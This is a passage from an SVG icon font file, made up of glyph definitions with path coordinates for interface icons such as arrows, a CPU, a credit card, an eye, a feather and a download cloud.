-12.5014q-12.5013 -12.5013 -12.5017 -30.1713z" /> <glyph glyph-name="corner-down-left" unicode="" d="M414.165 439.168q13.0256 12.5805 13.0256 30.6896q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-18.1091 0 -30.6896 -13.0256l-213.333 -213.333q-12.4922 -12.496 -12.4922 -30.1653q0 -17.6693 12.4922 -30.1653l213.333 -213.333 q12.5806 -13.0256 30.6896 -13.0256q17.664 0 30.1653 12.5013t12.5013 30.1653q0 18.1091 -13.0257 30.6896l-183.168 183.168zM810.667 725.333v-298.667q0 -52.992 -37.504 -90.496t-90.496 -37.504h-512q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653 t12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h512v0q88.32 0 150.827 62.5067q62.5067 62.5067 62.5067 150.827v298.667q-0.00262451 17.6613 -12.504 30.1607q-12.5014 12.4995 -30.1627 12.4995t-30.1626 -12.4995q-12.5013 -12.4994 -12.5044 -30.1612z" /> <glyph glyph-name="corner-left-down" unicode="" d="M200.832 286.165q-12.5806 13.0256 -30.6897 13.0256q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -18.1091 13.0256 -30.6897l213.333 -213.333q12.496 -12.4922 30.1653 -12.4922t30.1653 12.4922l213.333 213.333q11.977 12.4007 11.977 29.641 q0 17.664 -12.5013 30.1654q-12.5013 12.5013 -30.1653 12.5013q-17.2403 0 -29.6411 -11.977l-183.168 -183.168zM853.333 768h-298.667v0q-88.32 0 -150.827 -62.5067q-62.5067 -62.5067 -62.5067 -150.827v-512q0 -17.664 12.5013 -30.1653 q12.5013 -12.5013 30.1653 -12.5013t30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v512q0 52.992 37.504 90.496q37.504 37.504 90.496 37.504h298.667q17.6613 0.00268555 30.1607 12.504q12.4995 12.5013 12.4995 30.1627q0 17.6613 -12.4995 30.1626 q-12.4994 12.5013 -30.1602 12.5044z" /> <glyph glyph-name="corner-left-up" unicode="" d="M567.168 481.835q12.5805 -13.0256 30.6896 -13.0256q17.664 0 30.1653 12.5013t12.5013 30.1653q0 18.109 -13.0256 30.6897l-213.333 213.333q-12.4961 12.4922 -30.1653 12.4922q-17.6693 0 -30.1653 -12.4922l-213.333 -213.333q-11.977 -12.4008 -11.977 -29.641 q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.641 11.977l183.168 183.168zM853.333 85.3333h-298.667q-52.992 0 -90.496 37.504t-37.504 90.496v512q0 17.6639 -12.5013 30.1653q-12.5013 12.5013 -30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653 v-512q0 -88.32 62.5067 -150.827q62.5067 -62.5067 150.827 -62.5067h298.667q17.6613 0.00270382 30.1607 12.504t12.4995 30.1626q0 17.6613 -12.4995 30.1626q-12.4994 12.5013 -30.1612 12.5045z" /> <glyph glyph-name="corner-up-left" unicode="" d="M414.165 695.168q13.0256 12.5805 13.0256 30.6896q0 17.6639 -12.5013 30.1653t-30.1653 12.5014q-18.109 0 -30.6896 -13.0256l-213.333 -213.333q-12.4922 -12.496 -12.4922 -30.1653t12.4922 -30.1653l213.333 -213.333q12.5805 -13.0257 30.6896 -13.0257 q17.664 0 30.1654 12.5013q12.5013 12.5013 12.5013 30.1653q0 18.1091 -13.0257 30.6896l-183.168 183.168zM896 42.6667v298.667q0 88.32 -62.5067 150.827q-62.5067 62.507 -150.827 62.5067h-512q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653 t30.1653 -12.5013h512q52.992 0 90.496 -37.504q37.504 -37.504 37.504 -90.496v-298.667q0.00268555 -17.6613 12.504 -30.1607t30.1627 -12.4994q17.6613 0 30.1626 12.4994q12.5013 12.4994 12.5044 30.1602z" /> <glyph glyph-name="corner-up-right" unicode="" d="M609.835 328.832q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.6411 11.977l213.333 213.333q12.4922 12.4961 12.4922 30.1653q0 17.6694 -12.4922 30.1653l-213.333 213.333q-12.4007 11.977 -29.641 11.977 q-17.6641 0 -30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653q0 -17.2404 11.977 -29.6411l183.168 -183.168zM213.333 42.6667v298.667q0 52.992 37.504 90.496q37.504 37.504 90.496 37.504h512q17.664 0 30.1653 12.5013t12.5013 30.1653 q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-512q-88.32 0 -150.827 -62.5067t-62.5067 -150.827v-298.667q0.00271606 -17.6613 12.504 -30.1607t30.1626 -12.4994q17.6613 0 30.1626 12.4994q12.5013 12.4994 12.5045 30.1612z" /> <glyph glyph-name="corner-right-down" unicode="" d="M456.832 286.165q-12.5805 13.0256 -30.6896 13.0256q-17.664 0 -30.1653 -12.5013q-12.5014 -12.5013 -12.5014 -30.1653q0 -18.109 13.0257 -30.6897l213.333 -213.333q12.496 -12.4922 30.1653 -12.4922t30.1653 12.4922l213.333 213.333 q11.977 12.4007 11.977 29.641q0 17.664 -12.5013 30.1654q-12.5013 12.5013 -30.1653 12.5013q-17.2404 0 -29.6411 -11.977l-183.168 -183.168zM170.667 682.667h298.667q52.992 0 90.496 -37.504t37.504 -90.496v-512q0 -17.664 12.5013 -30.1653 q12.5013 -12.5013 30.1653 -12.5013q17.6641 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1654v512q0 88.32 -62.5067 150.827t-150.827 62.5067h-298.667h-0.00653076q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.6641 12.5013 -30.1653 q12.5013 -12.5013 30.1654 -12.5013z" /> <glyph glyph-name="corner-right-up" unicode="" d="M823.168 481.835q12.5806 -13.0256 30.6896 -13.0256q17.6639 0 30.1653 12.5013t12.5014 30.1653q0 18.109 -13.0256 30.6897l-213.333 213.333q-12.4961 12.4922 -30.1653 12.4922t-30.1653 -12.4922l-213.333 -213.333q-13.0256 -12.5805 -13.0256 -30.6896 q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q18.1091 0 30.6896 13.0257l183.168 183.168zM170.667 0h298.667v2.84217e-14q88.32 0 150.827 62.5067t62.5067 150.827v512q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653v-512 q0 -52.992 -37.504 -90.496t-90.496 -37.504h-298.667q-17.6613 -0.00270844 -30.1607 -12.504q-12.4994 -12.5013 -12.4994 -30.1626t12.4994 -30.1626q12.4994 -12.5013 30.1607 -12.504v2.00117e-05z" /> <glyph glyph-name="cpu" unicode="" d="M213.333 640.256v-512.512q0 -17.536 12.4373 -29.9733t29.9733 -12.4373h512.512q17.5405 0.0176239 29.9667 12.4439q12.4263 12.4263 12.444 29.9667v512.512q-0.0177002 17.5404 -12.444 29.9667q-12.4262 12.4263 -29.9667 12.444h-512.512 q-17.5404 -0.0177002 -29.9667 -12.444t-12.4439 -29.9667zM128 640.256q0.0176544 52.8684 37.4466 90.2974t90.2974 37.4466h512.512q52.8685 -0.0175781 90.2975 -37.4465q37.429 -37.429 37.4465 -90.2975v-512.512q-0.0176392 -52.8684 -37.4467 -90.2974 t-90.2974 -37.4466h-512.512q-52.8684 0.017648 -90.2974 37.4466q-37.429 37.429 -37.4466 90.2974zM426.667 298.667h170.667v170.667h-170.667v-170.667zM384 554.667h256q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-256q0 -17.664 -12.5013 -30.1653 t-30.1653 -12.5013h-256v0q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v256q0 17.664 12.5013 30.1653t30.1653 12.5013zM341.333 853.333q0 17.664 12.5013 30.1653t30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653v-128q0 -17.664 -12.5013 -30.1653 t-30.1653 -12.5013t-30.1653 12.5013t-12.5013 30.1653v128zM597.333 853.333q0 17.664 12.5013 30.1653t30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653v-128q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013t-30.1653 12.5013q-12.5013 12.5014 -12.5013 30.1653v128 zM341.333 42.6667q0 17.664 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013t30.1653 -12.5013q12.5013 -12.5013 12.5013 -30.1653v-128q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013t-30.1653 12.5013q-12.5014 12.5013 -12.5014 30.1653zM597.333 42.6667 q0 17.664 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013q17.6641 0 30.1653 -12.5013q12.5013 -12.5013 12.5013 -30.1653v-128q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013q-17.6639 0 -30.1653 12.5014q-12.5013 12.5013 -12.5013 30.1653v128zM853.333 469.333 q-17.6641 0 -30.1654 12.5013t-12.5013 30.1653t12.5013 30.1653t30.1653 12.5013h128q17.664 0 30.1653 -12.5013t12.5013 -30.1653t-12.5013 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013zM853.333 256q-17.6613 0.00271606 -30.1607 12.5041t-12.4995 30.1626 t12.4995 30.1626q12.4995 12.5014 30.1606 12.5041h128q17.6614 -0.00268555 30.1608 -12.504t12.4994 -30.1626t-12.4994 -30.1627q-12.4995 -12.5013 -30.1608 -12.504zM42.6667 469.333q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653t12.5013 30.1653 q12.5013 12.5013 30.1653 12.5013h128q17.664 0 30.1653 -12.5013t12.5013 -30.1653t-12.5013 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013zM42.6667 256q-17.6613 0.00268555 -30.1607 12.504q-12.4994 12.5013 -12.4994 30.1626t12.4994 30.1626 q12.4994 12.5014 30.1607 12.5041h128q17.6613 -0.00265503 30.1607 -12.504q12.4994 -12.5014 12.4994 -30.1627t-12.4994 -30.1627q-12.4994 -12.5013 -30.1607 -12.504z" /> <glyph glyph-name="credit-card" unicode="" d="M0 640.256l-6.42112e-05 0.127991q0 52.8331 37.3915 90.2245q37.3915 37.3915 90.2245 37.3915h768.811q52.8154 -0.0705566 90.1944 -37.4996q37.3789 -37.429 37.3789 -90.2444v-512.512l0.00012207 -0.127983q0 -52.833 -37.3915 -90.2245t-90.2247 -37.3915 h-768.811q-52.8154 0.0705616 -90.1944 37.4996q-37.379 37.429 -37.3789 90.2444v512.512h8.1488e-05zM938.667 512v128.256v0.000183105q0 17.5051 -12.3889 29.9313q-12.3888 12.4263 -29.8939 12.4792h-768.811q-17.4875 -0.0175781 -29.8638 -12.4064 q-12.3764 -12.3888 -12.3764 -29.8762l0.000198364 -0.128052v-128.256zM938.667 426.667h-853.333v-298.923q0 -17.5334 12.4041 -29.9721q12.4041 -12.4386 29.8786 -12.4386h768.811h0.000183105q17.5051 0 29.8939 12.3888t12.3888 29.8939l-0.000183105 0.127998 v298.923h-0.043396z" /> <glyph glyph-name="crosshair" unicode="" d="M469.333 2.34667v125.653q0 17.664 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013t30.1653 -12.5013t12.5013 -30.1653v-125.653q126.195 14.1451 225.518 113.468q99.323 99.3231 113.468 225.519h-125.653q-17.6641 0 -30.1654 12.5013t-12.5013 30.1653 t12.5013 30.1653t30.1653 12.5013h125.653q-14.145 126.195 -113.468 225.518q-99.3231 99.3231 -225.518 113.468v-125.653q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013t-30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1654v125.653 q-126.195 -14.1451 -225.519 -113.468q-99.3231 -99.3231 -113.468 -225.519h125.653q17.664 0 30.1653 -12.5013t12.5013 -30.1653t-12.5013 -30.1653t-30.1653 -12.5013h-125.653q14.1451 -126.195 113.468 -225.518q99.3231 -99.3231 225.518 -113.468zM512 -85.3333 q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694q95.4833 0 182.397 -37.1694 t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694z" /> <glyph glyph-name="disc" unicode="" d="M512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694 q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06 q104.256 0 192.72 51.408q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408zM512 213.333 q-70.656 0 -120.661 50.0053q-50.0053 50.0053 -50.0053 120.661t50.0053 120.661q50.0053 50.0053 120.661 50.0053q70.6561 0 120.661 -50.0053t50.0053 -120.661t-50.0053 -120.661q-50.0053 -50.0053 -120.661 -50.0053zM512 298.667q35.328 0 60.3307 25.0027 q25.0026 25.0026 25.0026 60.3307q0 35.328 -25.0026 60.3307q-25.0027 25.0026 -60.3307 25.0026t-60.3307 -25.0027t-25.0027 -60.3307t25.0027 -60.3307t60.3307 -25.0026z" /> <glyph glyph-name="delete" unicode="" d="M896 768q53 0 90.5 -37.5t37.5 -90.5v-512q0 -53 -37.5 -90.5t-90.5 -37.5h-554.667l-0.0365601 -1.56589e-05q-19.3438 0 -32.0914 14.5493l-298.667 341.333q-10.5752 12.0699 -10.5752 28.1173q0 16.0474 10.5752 28.1173l298.667 341.333 q12.7476 14.5493 32.0914 14.5493h0.0365601zM896 85.3333q17.664 0 30.1653 12.5013t12.5013 30.1653v512q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-535.296l-261.333 -298.667l261.333 -298.667zM737.835 542.165l-256 -256q-11.977 -12.4007 -11.977 -29.641 q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2404 0 29.6411 11.977l256 256q13.0256 12.5806 13.0256 30.6896q0 17.6641 -12.5013 30.1654t-30.1653 12.5013q-18.109 0 -30.6898 -13.0257zM481.835 481.835l256 -256q12.4008 -11.977 29.641 -11.977 q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2403 -11.977 29.641l-256 256q-12.4008 11.977 -29.641 11.977q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2403 11.9771 -29.641z" /> <glyph glyph-name="download-cloud" unicode="" d="M512.469 17.664l-140.501 140.501q-12.5805 13.0257 -30.6897 13.0257q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -18.1091 13.0257 -30.6897l170.667 -170.667q12.496 -12.4922 30.1653 -12.4922t30.1653 12.4922l170.667 170.667q11.977 12.4007 11.977 29.641 q0 17.664 -12.5013 30.1653q-12.5013 12.5013 -30.1653 12.5013q-17.2402 0 -29.6411 -11.977zM469.802 341.333v-384q0.00268555 -17.6613 12.504 -30.1607t30.1627 -12.4994q17.6613 0 30.1626 12.4994q12.5013 12.4994 12.504 30.1607v384 q-0.00268555 17.6613 -12.504 30.1607q-12.5013 12.4994 -30.1627 12.4994q-17.6613 0 -30.1626 -12.4994t-12.504 -30.1607zM427.989 765.995q-21.8957 2.52179 -43.9359 2.52179q-104.256 0 -192.72 -51.408q-88.4641 -51.4079 -139.872 -139.872 q-51.408 -88.4642 -51.408 -192.72q0 -60.2512 28.2623 -134.823q28.2623 -74.5718 68.1962 -119.688q12.7385 -14.3908 31.9573 -14.3908q17.6691 0 30.1739 12.5049q12.5049 12.5049 12.5049 30.1739q0 16.1758 -10.7215 28.288q-31.099 35.101 -53.1087 93.1328 q-22.0097 58.0318 -22.0097 104.928q0 123.648 87.5093 211.157q87.5093 87.5093 211.157 87.5093q95.997 0 180.776 -65.8201q84.7789 -65.82 108.572 -158.822q3.41058 -13.2656 15.5182 -22.6541q12.1075 -9.38852 25.8046 -9.38852h0.0211792h53.8027 l0.176208 9.15527e-05q70.6561 0 120.661 -50.0053q50.0053 -50.0053 50.0053 -120.661q0 -36.6912 -21.2414 -77.5956q-21.2413 -40.9044 -51.2548 -62.0098q-17.5803 -12.7787 -17.5803 -34.5126q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q13.1247 0 23.9803 7.3766 q45.0453 31.6563 76.9251 93.0254q31.8799 61.3691 31.8799 116.425q0 105.984 -75.0079 180.992q-75.008 75.008 -180.992 75.008l-0.218323 -0.00012207h-22.1013q-33.0063 93.7808 -126.266 168.201t-192.027 85.7935z" /> <glyph glyph-name="download" unicode="" d="M85.3333 170.667v-128q0 -52.992 37.504 -90.496q37.504 -37.504 90.496 -37.504h597.333q52.992 0 90.496 37.504q37.504 37.504 37.504 90.496v128q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5014t-12.5013 -30.1653v-128q0 -17.664 -12.5013 -30.1653 q-12.5013 -12.5013 -30.1653 -12.5013h-597.333q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v128q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5018 -30.1652zM512 273.664l-140.501 140.501q-12.5805 13.0256 -30.6896 13.0256 q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -18.1091 13.0257 -30.6896l170.667 -170.667q12.496 -12.4922 30.1653 -12.4922q17.6694 0 30.1653 12.4922l170.667 170.667q11.977 12.4007 11.977 29.641q0 17.664 -12.5013 30.1653t-30.1653 12.5013 q-17.2404 0 -29.6411 -11.977zM469.333 810.667v-597.333q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v597.333q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653z" /> <glyph glyph-name="droplet" unicode="" d="M301.099 501.035q-36.2357 -35.4397 -61.8808 -96.3928q-25.6451 -60.9531 -25.6451 -111.638q0 -24.255 6.64307 -57.2494t16.0295 -55.3595q34.6924 -82.4743 110.024 -132.074q75.3315 -49.6002 165.944 -49.6002q90.6243 0 165.952 49.5895 q75.3279 49.5895 110.016 132.085q9.38635 22.3649 16.0295 55.3594q6.64307 32.9946 6.64307 57.2495q0 50.6853 -25.6451 111.638t-61.8808 96.3928l-211.328 208.128zM542.165 798.336l241.493 -237.867q46.5703 -45.5641 79.5297 -123.922 q32.9595 -78.358 32.9595 -143.511q0 -31.1918 -8.54419 -73.6217t-20.6169 -71.1905q-44.5456 -106.02 -141.406 -169.789t-213.368 -63.7688q-116.495 0 -213.365 63.7615t-141.408 169.796q-12.0726 28.7604 -20.6167 71.1902q-8.5441 42.4298 -8.54414 73.6213 q0 65.1384 32.9467 143.484t79.4995 123.907l241.067 237.909q12.5713 12.3395 30.1867 12.3395q17.6153 0 30.1868 -12.3385z" /> <glyph glyph-name="edit-" unicode="" d="M170.667 195.669v-153.003h153.003l512 512l-153.003 153.003zM712.832 798.165l213.333 -213.333q12.4922 -12.496 12.4922 -30.1653q0 -17.6692 -12.4922 -30.1653l-554.667 -554.667q-12.4938 -12.4975 -30.1653 -12.5013h-213.333q-17.664 0 -30.1653 12.5013 t-12.5013 30.1653v213.333q0.00376892 17.6716 12.5013 30.1653l554.667 554.667q12.496 12.4922 30.1653 12.4922t30.1653 -12.4922z" /> <glyph glyph-name="edit" unicode="" d="M810.667 270.507v-227.84q0 -17.664 -12.5014 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013h-597.333q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v597.333q0 17.664 12.5013 30.1653t30.1653 12.5013h227.84h0.00653076q17.664 0 30.1653 12.5013 t12.5013 30.1653q0 17.6639 -12.5013 30.1653t-30.1653 12.5013h-0.00653076h-227.84q-52.992 0 -90.496 -37.504t-37.504 -90.496v-597.333q0 -52.992 37.504 -90.496q37.504 -37.504 90.496 -37.504h597.333q52.9919 0 90.496 37.504q37.504 37.504 37.504 90.496v227.84 q-0.00262451 17.6613 -12.504 30.1607q-12.5013 12.4994 -30.1627 12.4994q-17.6613 0 -30.1626 -12.4994t-12.504 -30.1604zM384 366.336v-110.336h110.336l384 384l-110.336 110.336zM798.165 840.832l170.667 -170.667q12.4922 -12.4961 12.4922 -30.1653 t-12.4922 -30.1653l-426.667 -426.667q-12.4938 -12.4975 -30.1653 -12.5013h-170.667q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v170.667q0.00372314 17.6715 12.5013 30.1653l426.667 426.667q12.496 12.4922 30.1653 12.4922t30.1653 -12.4922z" /> <glyph glyph-name="edit-1" unicode="" d="M170.667 323.669v-110.336h110.336l426.667 426.667l-110.336 110.336zM627.499 840.832l170.667 -170.667q12.4922 -12.496 12.4922 -30.1653q0 -17.6692 -12.4922 -30.1653l-469.333 -469.333q-12.4938 -12.4975 -30.1653 -12.5013h-170.667 q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v170.667q0.00376892 17.6715 12.5013 30.1653l469.333 469.333q12.496 12.4922 30.1653 12.4922t30.1653 -12.4922zM128 -85.3333h768q17.6613 0.00270081 30.1608 12.504q12.4994 12.5013 12.4994 30.1626t-12.4994 30.1626 q-12.4995 12.5013 -30.1608 12.504h-768q-17.6613 -0.00270382 -30.1607 -12.504q-12.4994 -12.5013 -12.4994 -30.1626q0 -17.6613 12.4994 -30.1626q12.4994 -12.5013 30.1607 -12.504z" /> <glyph glyph-name="external-link" unicode="" d="M725.333 341.333v-256q0 -17.664 -12.5014 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013h-469.333q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v469.333q0 17.6639 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013h256q17.664 0 30.1653 12.5013 t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-256q-52.992 0 -90.496 -37.504t-37.504 -90.496v-469.333q0 -52.992 37.504 -90.496q37.504 -37.504 90.496 -37.504h469.333q52.992 0 90.496 37.504q37.504 37.504 37.504 90.496v256q0 17.664 -12.5013 30.1653 t-30.1653 12.5013q-17.6639 0 -30.1653 -12.5013t-12.5015 -30.165zM853.333 725.333v-213.333q0 -17.664 12.5014 -30.1653q12.5013 -12.5013 30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v256q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-256 q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013zM456.832 268.501l469.333 469.333q13.0256 12.5806 13.0256 30.6896q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-18.109 0 -30.6897 -13.0256l-469.333 -469.333 q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.6411 11.9771z" /> <glyph glyph-name="eye" unicode="" d="M109.844 353.835q39.27 -60.7832 86.6133 -111.36q147.566 -157.141 315.563 -157.141q168.177 0 315.52 157.184q25.0598 26.8424 55.8755 68.2966t49.2978 73.1861q-18.4738 31.7304 -49.2772 73.1847q-30.8033 41.4543 -55.8535 68.298 q-147.411 157.184 -315.563 157.184q-168.177 0 -315.52 -157.184q-25.0596 -26.8419 -55.8754 -68.2965q-30.8158 -41.4546 -49.2979 -73.1862q8.70657 -15.0638 18.4747 -30.1653zM4.54272 403.072q11.5288 23.1399 33.6213 57.4293q42.4885 65.9629 96.0427 123.307 q172.534 184.192 377.813 184.192q205.19 0 377.813 -184.149q53.5351 -57.367 96 -123.349q21.9058 -33.9106 33.7067 -57.4293q4.5 -9.00528 4.5 -19.072q0 -10.0668 -4.49994 -19.072q-11.8008 -23.5176 -33.7067 -57.4293q-42.4679 -65.9598 -96 -123.307 q-172.534 -184.192 -377.813 -184.192q-205.19 0 -377.813 184.149q-53.535 57.3669 -96 123.349q-18.3306 27.8476 -33.7067 57.4293q-4.49988 9.00522 -4.49988 19.072q0 10.0669 4.49988 19.072zM512.02 213.333q-70.656 0 -120.661 50.0053 q-50.0053 50.0053 -50.0053 120.661t50.0053 120.661q50.0053 50.0053 120.661 50.0053q70.656 0 120.661 -50.0053q50.0054 -50.0053 50.0054 -120.661t-50.0054 -120.661q-50.0053 -50.0054 -120.661 -50.0053zM512.02 298.667q35.3279 0 60.3306 25.0027 q25.0027 25.0027 25.0027 60.3307t-25.0027 60.3306q-25.0027 25.0027 -60.3306 25.0027q-35.328 0 -60.3307 -25.0027t-25.0027 -60.3307t25.0027 -60.3307t60.3307 -25.0026z" /> <glyph glyph-name="feather" unicode="" d="M230.997 42.6667l-115.499 -115.499q-12.5806 -13.0256 -30.6896 -13.0256q-17.664 0 -30.1653 12.5013t-12.5013 30.1653q0 18.1091 13.0256 30.6896l115.499 115.499v345.003q0.00375366 17.6716 12.5013 30.1653l288 288q36.2348 36.2385 98.1476 61.8854 q61.9128 25.6469 113.159 25.6469q123.711 0 211.264 -87.5536t87.5536 -211.264q0 -51.2389 -25.6407 -113.146t-61.8703 -98.1398l-287.573 -288.427q-12.4976 -12.5013 -30.1744 -12.5013l-0.0335693 1.52588e-05zM486.997 298.667l241.365 -0.0853271l104.96 105.301 q27.076 26.0758 46.2385 71.1344q19.1625 45.0587 19.1625 82.6494q0 88.3907 -62.5566 150.947t-150.947 62.5566q-37.5687 0 -82.6088 -19.1434t-71.1121 -46.1924l-275.499 -275.499v-242.005l396.501 396.501q12.4008 11.9771 29.6411 11.9771 q17.6641 0 30.1653 -12.5013t12.5013 -30.1653q0 -17.2404 -11.977 -29.6411zM643.371 213.333h-241.707l-85.3333 -85.3333h241.92z" /> <glyph glyph-name="facebook" unicode="" d="M384 597.333q0 105.984 75.008 180.992t180.992 75.008h128q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-170.667q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013h-128v-85.3333h128q17.6635 -0.000488281 30.1645 -12.5018t12.501 -30.1649 q0 -5.26285 -1.27887 -10.368l-42.6667 -170.667q-3.34967 -13.3712 -15.476 -22.8347q-12.1262 -9.4635 -25.9107 -9.46387h-85.3333v-298.667q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013h-170.667v0q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653 v298.667h-85.3333q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v170.667q0 17.664 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013h85.3333zM725.333 768h-85.3333q-70.6559 0 -120.661 -50.0054q-50.0053 -50.0053 -50.0053 -120.661v-128 q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013h-85.3333v-85.3333h85.3333q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-298.667h85.3333v298.667q0 17.664 12.5014 30.1653q12.5013 12.5013 30.1653 12.5013h94.72l21.3333 85.3333h-116.053 q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v128q0 35.3279 25.0027 60.3306t60.3306 25.0027h85.3333z" /> <glyph glyph-name="file-minus" unicode="" d="M554.667 768h-298.667q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653v-682.667q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h512q17.664 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v469.333h-213.333q-17.664 0 -30.1653 12.5013 q-12.5013 12.5013 -12.5013 30.1653v213.334zM640 707.669v-110.336h110.336zM597.333 853.333q17.6716 -0.00378418 30.1653 -12.5013l256 -256q12.4976 -12.4937 12.5013 -30.1653v-512q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504h-512 q-52.992 0 -90.496 37.504q-37.504 37.504 -37.504 90.496v682.667q0 52.992 37.504 90.496q37.504 37.504 90.496 37.504zM384 213.333q-17.664 0 -30.1653 12.5013t-12.5013 30.1653q0 17.664 12.5013 30.1653t30.1653 12.5013h256q17.664 0 30.1653 -12.5013 t12.5013 -30.1654q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013z" /> <glyph glyph-name="eye-off" unicode="" d="M284.838 603.145q16.7695 12.8038 16.7695 33.9026q0 17.6592 -12.4978 30.157q-12.4979 12.4979 -30.157 12.4979q-14.4223 0 -25.8854 -8.75226q-59.0355 -45.0934 -125.671 -123.337q-66.6354 -78.243 -101.754 -143.705q-5.06166 -9.44012 -5.06166 -20.1516 q0 -10.0732 4.50728 -19.0816q11.5227 -23.1277 33.6041 -57.3999q43.5466 -67.3366 95.9934 -123.243q172.377 -184.098 377.577 -184.098q64.3635 0.98095 146.155 29.282q81.7917 28.301 132.998 67.3085q17.724 12.7638 17.724 34.6054q0 17.6549 -12.4949 30.1499 t-30.1498 12.4949q-15.0488 0 -26.7647 -9.44495q-41.8466 -31.8924 -108.694 -55.0705q-66.8478 -23.1781 -119.455 -24.0356q-167.383 0 -314.719 157.103q-25.0046 26.8087 -55.7546 68.2044q-30.75 41.3957 -49.1942 73.0778q30.8344 53.4417 87.3615 117.766 q56.5271 64.3239 105.563 101.77zM856.619 275.164q-9.85004 -11.8503 -9.85004 -27.2596q0 -17.6549 12.4949 -30.1499t30.1498 -12.4949q19.6823 0 32.4518 14.9779q56.0593 66.6237 97.1022 143.414q5.01758 9.40735 5.01758 20.0692q0 10.0715 -4.50586 19.0788 q-11.5222 23.1276 -33.6041 57.3999q-42.467 65.9294 